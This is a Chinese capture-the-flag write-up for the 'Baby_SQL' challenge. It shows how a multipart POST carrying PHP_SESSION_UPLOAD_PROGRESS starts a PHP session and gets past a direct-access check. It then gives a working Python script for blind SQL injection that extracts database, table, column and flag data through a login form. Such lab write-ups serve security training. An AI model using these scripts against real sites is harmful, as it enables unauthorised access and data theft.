当前位置: 首页 > article >正文

[PwnThyBytes 2019]Baby_SQL

[PwnThyBytes 2019]Baby_SQL

  • 查看源码发现
    image.png
  • 下载源码,首先观察index.php
    image.png
  • 首先进入index.php,会执行session_start();启动session
  • 这里通过foreach将所有的环境变量的值都遍历了一遍,并且都使用了addslashes()进行转义,然后就定义了从这里进入其他页面的路由方法
  • 这里用了很多个or和and,其实很好理解,就是利用了短路。or前面为真就不执行后面的内容,and前面为假就不执行后面的内容
    然后我们来看其他的文件
    login.php
    image.png
    register.php
    image.png
    可以发现,register.php对注册的用户名限制的很死,而这两文件的密码最后都进行了md5加密,不能进行注入。这么一看就只有login.php的username这里有注入点
    但是所有文件前面都有
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
//如果没有$_SESSION,就直接终止程序。然而只有经过index.php才启动session。
  • 所以这里需要使用PHP_SESSION_UPLOAD_PROGRESS

PHP_SESSION_UPLOAD_PROGRESS

[[PHP_SESSION_UPLOAD_PROGRESS]]

在phpsession里如果在php.ini中设置session.auto_start=On,那么PHP每次处理PHP文件的时候都会自动执行session_start(),但是session.auto_start默认为Off。与Session相关的另一个叫session.upload_progress.enabled,默认为On,在这个选项被打开的前提下我们在multipart POST的时候传入PHP_SESSION_UPLOAD_PROGRESS,PHP会执行session_start()

那思路就是执行session_start()绕过index.php的过滤

使用脚本

import requests

url = "http://f92ec141-fa4c-408a-9d57-921b5d55ffb6.node5.buuoj.cn:81/templates/register.php"

files = {"file": "123456789"}
a = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
                  cookies={"PHPSESSID": "test1"}, params={'username': 'test', 'password': 'test'},
                  proxies={'http': "http://127.0.0.1:8080"})
print(a.text)
  • 当我们直接访问的时候
    image.png
  • 使用后发现成功绕过
    image.png
  • 剩下的就简单了,他没有任何过滤,直接时间盲注

时间盲注

[[mysql-时间盲注]]
payload

import requests
import time

url = "http://1e66322d-2364-4dd4-800e-d1167d27e70d.node4.buuoj.cn:81/templates/login.php"

files = {"file": "123456789"}
# a = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
#                   cookies={"PHPSESSID": "test1"}, params={'username': 'test', 'password': 'test'},
#                   proxies={'http': "http://127.0.0.1:8080"})
# import requests


# url = "http://172.19.14.20:27386/index.php?id="
name = ''

for i in range(1, 1000):
    min = 32
    max = 128
    while min < max:
        mid = (min + max) // 2
        # payload = f'1"||1^(ascii(substr(database(),{i},1))>{mid})#'  # 查库名
        # payload=f'1"||1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)="ptbctf"),{i},1))>{mid})#'        #查表名
        # payload=f'1"||1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)="flag_tbl"),{i},1))>{mid})#'      #查列名
        payload=f'1"||1^(ascii(substr((select(group_concat(secret))from(flag_tbl)),{i},1))>{mid})#'       #查数据
        # payload=f'1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid})#' #查所有数据库
        # payload = f"1^(ascii(substr(user(),{i},1))>{mid})#" #查用户权限
        time.sleep(0.1)  # 加上时间延迟,防止请求太快注入出现错误
        params={'username': payload, 'password': 'test'}
        response = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
                          cookies={"PHPSESSID": "test1"}, params=params,
                          )
        # response = requests.get(url=url + payload)
        if 'Try again!' in response.text:
            min = mid + 1
        else:
            max = mid
    if min != 32:
        name += chr(min)
    else:
        break
    print(name)

# print(a.text)

image.png

参考链接

巡璃 :刷题笔记:[PwnThyBytes 2019]Baby_SQL


http://www.kler.cn/a/274517.html

相关文章:

  • aws(学习笔记第十九课) 使用ECS和Fargate进行容器开发
  • Servlet学习中遇到的一些问题及解决
  • 读书笔记~管理修炼-缄默效应
  • YOLO-World:Real-Time Open-Vocabulary Object Detection
  • 关于使用拓扑排序算法实现解析勾稽关系优先级的研究和实现
  • 如何优雅的关闭GoWeb服务器
  • Golang 开发实战day05 - Loops(1)
  • 【智能家居】东胜物联提供软硬一体化智能家居解决方案,助企业提高市场占有率
  • 【计算机网络_网络层】IP协议
  • 卸载.Net SDK
  • ClickHouse列式存储基础笔记
  • BUUCTF-Misc10
  • 搭建基于 Snowflake 的 CI/CD 最佳实践!
  • 【Linux】进程排队的理解进程状态的表述僵尸进程和孤儿进程的理解
  • 六种GPU虚拟化:除了直通、全虚拟化 (vGPU)还有谁?
  • Spark 3.5.0 特性速览
  • 安装tensorflow2.4
  • 【Greenhills】MULTI IDE-GHS最新版本Compiler 23.5.4的兼容性问题
  • 英伟达GTC2024大会开幕,发布机器人003计划,引领具身智能新时代
  • JAVA基础—多线程基础
  • 统计咨询|久菜盒子工作室可实现需求
  • 耳机壳UV树脂制作私模定制耳塞需要什么样的设备和技术?
  • HCIA——30奈奎斯特定理、香农定理
  • springboot日志配置文件log4j2.xml
  • Laravel框架项目首页内容修改
  • 如何从零开始拆解uni-app开发的vue项目(一)